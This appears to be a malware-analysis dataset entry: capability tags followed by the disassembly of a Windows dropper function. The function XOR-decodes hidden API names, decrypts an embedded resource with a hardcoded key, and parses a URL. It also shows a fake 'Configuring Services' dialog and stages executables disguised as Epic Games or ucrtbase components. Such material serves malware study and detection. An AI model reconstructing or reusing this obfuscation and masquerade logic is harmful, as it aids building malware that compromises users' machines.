Function at 0x404ae0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20d8
call fcn.0041de70
mov eax, dword [0x453170]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x20b4], eax
jmp 0x404b1d
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x2020], 0xdb5ff829
mov dword [ebp - 0x201c], 0xc24c5c3f
mov dword [ebp - 0x2018], 0xda52e31a
mov ecx, dword [eax]
mov word [ebp - 0x2014], 0x393a
mov dword [ebp - 0x209c], ecx
mov eax, dword [ecx + 0x334]
lea edi, [ecx + 0x2d0]
test al, 1
jne 0x404bb4
or eax, 1
mov byte [edi + 0xe], 1
xorps xmm0, xmm0
mov dword [ecx + 0x334], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x404ba7
cmp ecx, 0xe
jb 0x404b90
push 0x444d80
call fcn.0041dbad
add esp, 4
cmp byte [edi + 0xe], 0
je 0x404bfc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0xbf31916f
and ecx, 7
mov edx, 0xad3f396d
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404bf8
cmp esi, 0xe
jb 0x404bd1
mov byte [edi + 0xe], 0
push edi
push dword [ebp - 0x20b4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20ac], eax
jmp 0x404c21
jmp 0x404c33
mov edx, dword [ebp - 0x209c]
mov dword [ebp - 0x2020], 0xf56668fb
mov dword [ebp - 0x201c], 0x1e8e4007
mov dword [ebp - 0x2018], 0xf46475c2
mov eax, dword [edx + 0x1d0]
lea edi, [edx + 0x188]
mov byte [ebp - 0x2014], 0x55
test al, 1
jne 0x404cb6
or eax, 1
mov byte [edi + 0xd], 1
xorps xmm0, xmm0
mov dword [edx + 0x1d0], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x404ca9
cmp ecx, 0xd
jb 0x404c92
push 0x444d60
call fcn.0041dbad
add esp, 4
cmp byte [edi + 0xd], 0
je 0x404cfe
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0x910707b7
and ecx, 7
mov edx, 0x71fd2555
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404cfa
cmp esi, 0xd
jb 0x404cd3
mov byte [edi + 0xd], 0
push edi
push dword [ebp - 0x20b4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20a4], eax
jmp 0x404d23
mov ecx, dword [ebp - 0x209c]
mov dword [ebp - 0x2020], 0x50919848
mov dword [ebp - 0x201c], 0x2ab139fa
mov dword [ebp - 0x2018], 0x479e9e68
mov eax, dword [ecx + 0x2e0]
lea edi, [ecx + 0xbc]
mov word [ebp - 0x2014], 0x3af6
mov byte [ebp - 0x2012], 0xe3
test al, 1
jne 0x404db4
or eax, 1
mov byte [edi + 0xf], 1
xorps xmm0, xmm0
mov dword [ecx + 0x2e0], eax
movlpd qword [ebp - 0x2028], xmm0
mov edx, dword [ebp - 0x2024]
mov ecx, dword [ebp - 0x2028]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x2020]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
jne 0x404da7
cmp ecx, 0xf
jb 0x404d90
push 0x444d40
call fcn.0041dbad
add esp, 4
cmp byte [edi + 0xf], 0
je 0x404dfc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2028], xmm0
mov ebx, dword [ebp - 0x2024]
mov esi, dword [ebp - 0x2028]
mov ecx, esi
mov eax, 0x35ebf11b
and ecx, 7
mov edx, 0x4fe35f95
shl ecx, 3
call fcn.00443dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x404df8
cmp esi, 0xf
jb 0x404dd1
mov byte [edi + 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push dword [ebp - 0x20b4]
call ebx
push str.FONTS
push str.TRUETYPE
push 0
mov edi, eax
call dword [ebp - 0x20ac]
mov esi, eax
test esi, esi
jne 0x404e3b
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041d829
mov esp, ebp
pop ebp
ret 0x10
push esi
push 0
call dword [ebp - 0x20a4]
push esi
push 0
mov dword [ebp - 0x20ac], eax
call edi
mov edx, dword [ebp - 0x209c]
mov ecx, dword [0x459d64]
mov dword [0x45551c], eax
cmp ecx, dword [edx + 0xc]
jg 0x406161
push 0xc8
push 0
push 0
push str.Please_Wait...
push str.Configuring_Services
push 0
call dword [0x459d60]
mov eax, dword [0x45551c]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
inc eax
push eax
push 0x40
call ebx
mov dword [ebp - 0x205c], eax
mov eax, dword [0x45551c]
inc eax
push eax
push 0x40
call ebx
push dword [0x45551c]
mov dword [0x459d58], eax
push dword [ebp - 0x20ac]
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push dword [ebp - 0x205c]
call fcn.0041ef00
mov ebx, dword [0x45551c]
add esp, 0xc
mov edi, dword [ebp - 0x205c]
xor esi, esi
mov dword [ebp - 0x201c], 0x444e4153
mov dword [ebp - 0x2018], 0x45504950
mov byte [ebp - 0x2014], 0x31
test ebx, ebx
jle 0x404f2e
nop dword [eax]
mov eax, 0x38e38e39
mov ecx, esi
mul esi
shr edx, 1
lea eax, [edx + edx*8]
sub ecx, eax
mov al, byte [ebp + ecx - 0x201c]
mov ecx, dword [0x459d58]
xor al, byte [esi + edi]
mov byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x404f00
mov edi, dword [ebp - 0x205c]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x200
xorps xmm0, xmm0
mov dword [ebp - 0x208c], 0
push 0
push 0x459b48
movlpd qword [ebp - 0x2080], xmm0
movlpd qword [ebp - 0x2078], xmm0
mov dword [ebp - 0x2070], 0
movlpd qword [ebp - 0x2064], xmm0
mov dword [ebp - 0x2098], 0x3c
call fcn.0041f670
add esp, 0xc
mov dword [ebp - 0x2094], 0x459b48
mov dword [ebp - 0x2090], 0x200
push 0x200
push 0
push 0x459940
call fcn.0041f670
add esp, 0xc
mov dword [ebp - 0x2088], 0x459940
mov dword [ebp - 0x2084], 0x200
push 0x200
push 0
push 0x455730
call fcn.0041f670
add esp, 0xc
mov dword [ebp - 0x206c], 0x455730
mov dword [ebp - 0x2068], 0x200
jmp 0x404ff8
lea eax, [ebp - 0x2098]
push eax
mov eax, dword [0x459d58]
push 0
add eax, 0x2c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x459d58]
add eax, 0x2c
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
jmp 0x405032
push 0x200
push 0
push 0x455520
call fcn.0041f670
add esp, 0xc
push 0x455730
push 0x455520
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x205c]
push eax
push 0x450890
push 0x455520
call fcn.00420f16
add esp, 0xc
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x1000
push eax
push 0
mov dword [0x459d4c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x459d58]
add eax, 4
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4050d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d829
mov esp, ebp
pop ebp
ret 0x10
jmp 0x4050e2
push 0
call fcn.00421044
add esp, 4
push eax
call fcn.00420f79
add esp, 4
jmp 0x405107
call fcn.004031b0
call fcn.004021e0
call fcn.004026a0
push dword [0x459d50]
call fcn.004210ac
add esp, 4
push dword [0x459d54]
call fcn.004210ac
add esp, 4
push dword [0x459d5c]
call fcn.004210ac
add esp, 4
push dword [0x459b44]
call fcn.004210ac
add esp, 4
push dword [0x459b40]
call fcn.004210ac
add esp, 4
push dword [0x455510]
call fcn.004210ac
mov ecx, dword [0x459d58]
add esp, 4
lea ecx, [ecx + 0x22c]
call fcn.00401530
mov ecx, dword [0x459d58]
push 0x800
mov dword [ebp - 0x200c], eax
lea eax, [ebp - 0x808]
push 0
cmp dword [ecx], 3
push eax
jne 0x405424
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x1008]
push 0x800
push 0
push eax
call fcn.0041f670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x808]
add esp, 0xc
push 0x450894
push eax
call esi
push str.All_rights_reserved.
lea eax, [ebp - 0x1008]
push eax
call esi
mov ecx, 6
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
push edi
lea eax, [ebp - 0x808]
push eax
push esi
call ebx
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.10:00:00
call fcn.004018d0
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push edi
call esi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 8
call fcn.00402180
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call ebx
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.11:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x4052cd
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4052ea
mov ecx, 6
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.12:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x405365
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405382
mov ecx, 8
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.13:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x4053fd
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40541a
mov ecx, 6
jmp 0x4056c9
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x1008]
push 0x800
push 0
push eax
call fcn.0041f670
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x808]
add esp, 0xc
push str.Epic_Online_Services_IPC__s
push eax
call esi
push str.EpicGamesLauncher
lea eax, [ebp - 0x1008]
push eax
call esi
mov ecx, 8
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.10:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x4054df
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4054fc
mov ecx, 6
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x1008]
mov edx, esi
push eax
push str.11:00:00
mov ecx, dword [ebp - 0x200c]
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x405577
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405594
mov ecx, 8
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.12:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x40560f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40562c
mov ecx, 6
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.13:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
jmp 0x4056a7
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4056c4
mov ecx, 8
call fcn.00402180
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
mov esi, eax
lea eax, [ebp - 0x808]
push eax
call ebx
add esi, eax
add esi, esi
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x808]
push edi
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 0x200c]
lea eax, [ebp - 0x1008]
add esp, 0xc
mov edx, esi
push eax
push str.14:00:00
call fcn.004018d0
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
add esp, 8
push esi
call ebx
push edi
call ebx
push dword [ebp - 0x200c]
call ebx
mov ebx, dword [ebp - 0x209c]
mov dword [ebp - 0x200c], 0xdd7dec5f
mov esi, dword [ebp - 0x200c]
mov word [ebp - 0x202c], 0xd126
mov di, word [ebp - 0x202c]
lea eax, [ebx + 0x1e4]
mov dword [ebp - 0x20cc], eax
lea eax, [ebx + 0x2c0]
mov dword [ebp - 0x20d0], eax
lea eax, [ebx + 0x1c0]
mov dword [ebp - 0x20d4], eax
lea eax, [ebx + 0xd0]
mov dword [ebp - 0x20c8], eax
lea eax, [ebx + 0x1e0]
mov dword [ebp - 0x2058], 0x898e9af7
mov byte [ebp - 0x20c1], 0x81
mov dword [ebp - 0x2050], 0xcd474a01
mov word [ebp - 0x204c], 0x7a98
mov byte [ebp - 0x20c2], 0x77
mov dword [ebp - 0x2028], 0x481fca05
mov dword [ebp - 0x2024], 0x7d02b44a
mov dword [ebp - 0x20d8], eax
cmp dword [0x459d48], 0
jne 0x4057e4
call fcn.00404970
call fcn.00406960
mov ecx, dword [ebx + 0x2a4]
mov dword [ebp - 0x20b4], eax
test cl, 1
jne 0x40585a
mov eax, dword [ebp - 0x2058]
or ecx, 1
mov byte [ebx + 0x1e9], 1
xorps xmm0, xmm0
mov dword [ebx + 0x1e4], eax
mov al, byte [ebp - 0x20c1]
movlpd qword [ebp - 0x20b0], xmm0
mov dword [ebx + 0x2a4], ecx
mov ecx, dword [ebp - 0x20ac]
mov byte [ebx + 0x1e8], al
mov eax, dword [ebp - 0x20b0]
nop dword [eax]
add eax, 1
adc ecx, 0
jne 0x40584d
cmp eax, 5
jb 0x405840
push 0x444d20
call fcn.0041dbad
add esp, 4
cmp byte [ebx + 0x1e9], 0
lea ecx, [ebx + 0x1e4]
je 0x4058bd
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
mov ecx, ebx
mov eax, 0xede7ed9f
and ecx, 7
mov edx, 0xcb730181
shl ecx, 3
call fcn.00443dd0
mov ecx, dword [ebp - 0x20cc]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x4058ad
cmp ebx, 5
jb 0x405880
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 5], 0
push dword [0x45593c]
push ecx
push dword [ebp - 0x20b4]
call fcn.00406790
mov eax, dword [ebx + 0x244]
test al, 1
jne 0x405940
or eax, 1
mov byte [ebx + 0x2c7], 1
mov dword [ebx + 0x244], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2050]
mov dword [ebx + 0x2c0], eax
mov ax, word [ebp - 0x204c]
mov word [ebx + 0x2c4], ax
mov al, byte [ebp - 0x20c2]
movlpd qword [ebp - 0x20b0], xmm0
mov ecx, dword [ebp - 0x20ac]
mov byte [ebx + 0x2c6], al
mov eax, dword [ebp - 0x20b0]
add eax, 1
adc ecx, 0
jne 0x405933
cmp eax, 7
jb 0x405926
push 0x444d00
call fcn.0041dbad
add esp, 4
cmp byte [ebx + 0x2c7], 0
lea ecx, [ebx + 0x2c0]
je 0x4059a3
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
mov ecx, ebx
mov eax, 0xa1372f65
and ecx, 7
mov edx, 0x4d7703f7
shl ecx, 3
call fcn.00443dd0
mov ecx, dword [ebp - 0x20d0]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x405993
cmp ebx, 7
jb 0x405966
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 7], 0
movsd xmm0, qword [0x450b78]
sub esp, 8
movsd qword [esp], xmm0
push ecx
push dword [ebp - 0x20b4]
call fcn.004066d0
mov eax, dword [ebx + 0x30c]
test al, 1
jne 0x4059f7
or eax, 1
mov byte [ebx + 0x1c4], 1
xorps xmm0, xmm0
mov dword [ebx + 0x30c], eax
push 0x444ce0
movlpd qword [ebp - 0x2020], xmm0
mov dword [ebx + 0x1c0], esi
call fcn.0041dbad
add esp, 4
cmp byte [ebx + 0x1c4], 0
lea ecx, [ebx + 0x1c0]
je 0x405a57
xorps xmm0, xmm0
movlpd qword [ebp - 0x20b0], xmm0
mov esi, dword [ebp - 0x20ac]
mov ebx, dword [ebp - 0x20b0]
nop dword [eax]
mov ecx, ebx
mov eax, 0xdd0f8929
and ecx, 7
mov edx, 0x37291b3b
shl ecx, 3
call fcn.00443dd0
mov ecx, dword [ebp - 0x20d4]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x405a4d
cmp ebx, 4
jb 0x405a20
mov esi, dword [ebp - 0x200c]
mov byte [ecx + 4], 0
movsd xmm0, qword [0x450b88]
sub esp, 8
mov ebx, dword [ebp - 0x20b4]
movsd qword [esp], xmm0
push ecx
push ebx
call fcn.004066d0
push ebx
call fcn.00406bc0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x20b4]
mov ebx, eax
call fcn.00406bc0
mov edx, ebx
mov ecx, eax
call fcn.00401130
push eax
mov dword [ebp - 0x20ac], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov eax, dword [ebp - 0x209c]
mov dword [ebp - 0x20a4], ebx
mov ecx, dword [eax + 0x114]
test cl, 1
jne 0x405b0b
or ecx, 1
mov byte [eax + 0xd8], 1
mov dword [eax + 0x114], ecx
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x2028]
mov dword [eax + 0xd0], ecx
mov ecx, dword [ebp - 0x2024]
push 0x444cc0
movlpd qword [ebp - 0x2020], xmm0
mov dword [eax + 0xd4], ecx
call fcn.0041dbad
add esp, 4
mov ecx, dword [ebp - 0x20c8]
cmp byte [ecx + 8], 0
je 0x405b6d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20c0], xmm0
mov esi, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x20c0]
nop
mov ecx, ebx
mov eax, 0x296bab61
and ecx, 7
mov edx, 0x7d719177
shl ecx, 3
call fcn.00443dd0
mov ecx, dword [ebp - 0x20c8]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x405b5d
cmp ebx, 8
jb 0x405b30
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x20a4]
mov byte [ecx + 8], 0
push dword [ebp - 0x20ac]
push ecx
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x2008]
push 0x1000
push 0
push eax
call fcn.0041f670
add esp, 0xc
lea eax, [ebp - 0x2008]
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00401440
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [ebp - 0x209c]
mov eax, dword [ebx + 0x14c]
test al, 1
jne 0x405bf9
or eax, 1
mov byte [ebx + 0x1e2], 1
xorps xmm0, xmm0
mov dword [ebx + 0x14c], eax
push 0x444ca0
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x1e0], di
call fcn.0041dbad
add esp, 4
cmp byte [ebx + 0x1e2], 0
lea ecx, [ebx + 0x1e0]
je 0x405c5d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20a8], xmm0
mov esi, dword [ebp - 0x20a4]
mov ebx, dword [ebp - 0x20a8]
nop
mov ecx, ebx
mov eax, 0xef77d117
and ecx, 7
mov edx, 0x7d19e377
shl ecx, 3
call fcn.00443dd0
mov ecx, dword [ebp - 0x20d8]
xor byte [ebx + ecx], al
add ebx, 1
adc esi, 0
jne 0x405c4d
cmp ebx, 2
jb 0x405c20
mov esi, dword [ebp - 0x200c]
mov ebx, dword [ebp - 0x209c]
mov byte [ecx + 2], 0
push ecx
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405d72
mov eax, dword [ebx + 0x104]
mov dword [ebp - 0x2038], 0x323f737a
mov word [ebp - 0x2034], 0x23bf
test al, 1
jne 0x405ceb
or eax, 1
mov byte [ebx + 0x316], 1
mov dword [ebx + 0x104], eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x2038]
mov dword [ebx + 0x310], eax
mov ax, word [ebp - 0x2034]
movlpd qword [ebp - 0x20a8], xmm0
mov ecx, dword [ebp - 0x20a4]
mov word [ebx + 0x314], ax
mov eax, dword [ebp - 0x20a8]
add eax, 1
adc ecx, 0
jne 0x405cde
cmp eax, 6
jb 0x405cd1
push 0x444c80
call fcn.0041dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x316], 0
lea edx, [eax + 0x310]
mov dword [ebp - 0x20a4], edx
je 0x405d5c
xorps xmm0, xmm0
mov esi, edx
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20bc], eax
mov ecx, ebx
mov eax, 0x5b5d5d4b
and ecx, 7
mov edx, 0xdf9123d1
shl ecx, 3
call fcn.00443dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20bc], 0
jne 0x405d4c
cmp ebx, 6
jb 0x405d21
mov edx, dword [ebp - 0x20a4]
mov byte [esi + 6], 0
mov esi, dword [ebp - 0x200c]
push 1
push str.EOSIPC
push str.EOSIPC.exe
mov ecx, str.EOSIPC.zip
jmp 0x40612c
mov eax, dword [ebx + 0x1ac]
mov word [ebp - 0x202c], 0x5fbd
test al, 1
jne 0x405dbb
or eax, 1
mov byte [ebx + 0x31e], 1
mov dword [ebx + 0x1ac], eax
xorps xmm0, xmm0
mov ax, word [ebp - 0x202c]
push 0x444c60
movlpd qword [ebp - 0x2020], xmm0
mov word [ebx + 0x31c], ax
call fcn.0041dbad
add esp, 4
mov eax, ebx
cmp byte [eax + 0x31e], 0
lea eax, [eax + 0x31c]
mov dword [ebp - 0x20bc], eax
je 0x405e36
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
mov ecx, ebx
mov eax, 0xdfd35f8f
and ecx, 7
mov edx, 0xc38169cf
shl ecx, 3
call fcn.00443dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x405e20
cmp ebx, 2
jb 0x405df5
mov eax, dword [ebp - 0x20bc]
mov ebx, dword [ebp - 0x209c]
mov byte [esi + 2], 0
mov esi, dword [ebp - 0x200c]
push eax
lea eax, [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x405f53
mov eax, dword [ebx + 0x254]
mov dword [ebp - 0x2048], 0x4fd3f1
mov word [ebp - 0x2044], 0xb375
test al, 1
jne 0x405ec6
or eax, 1
mov byte [ebx + 0xea], 1
mov dword [ebx + 0x254], eax
xorps xmm0, xmm0
lea ebx, [ebx + 0xe4]
movlpd qword [ebp - 0x2020], xmm0
mov edx, dword [ebp - 0x201c]
mov ecx, dword [ebp - 0x2020]
mov dword [ebp - 0x20bc], ebx
nop dword [eax]
mov al, byte [ebp + ecx - 0x2048]
mov byte [ecx + ebx], al
add ecx, 1
adc edx, 0
jne 0x405eb7
cmp ecx, 6
jb 0x405ea0
push 0x444c40
call fcn.0041dbad
add esp, 4
jmp 0x405ed2
lea ebx, [ebx + 0xe4]
mov dword [ebp - 0x20bc], ebx
cmp byte [ebx + 6], 0
je 0x405f3b
mov esi, dword [ebp - 0x20bc]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2020], xmm0
mov eax, dword [ebp - 0x201c]
mov ebx, dword [ebp - 0x2020]
mov dword [ebp - 0x20a4], eax
nop dword [eax + eax]
mov ecx, ebx
mov eax, 0x692dfdc3
and ecx, 7
mov edx, 0x3f73b31b
shl ecx, 3
call fcn.00443dd0
xor byte [ebx + esi], al
add ebx, 1
adc dword [ebp - 0x20a4], 0
jne 0x405f2b
cmp ebx, 6
jb 0x405f00
mov ebx, dword [ebp - 0x20bc]
mov esi, dword [ebp - 0x200c]
mov byte [ebx + 6], 0
push 2
push str.MS_CRT
push str.ucrtbase.exe
mov edx, ebx
mov ecx, str.ucrtbase.zip
jmp 0x40612c
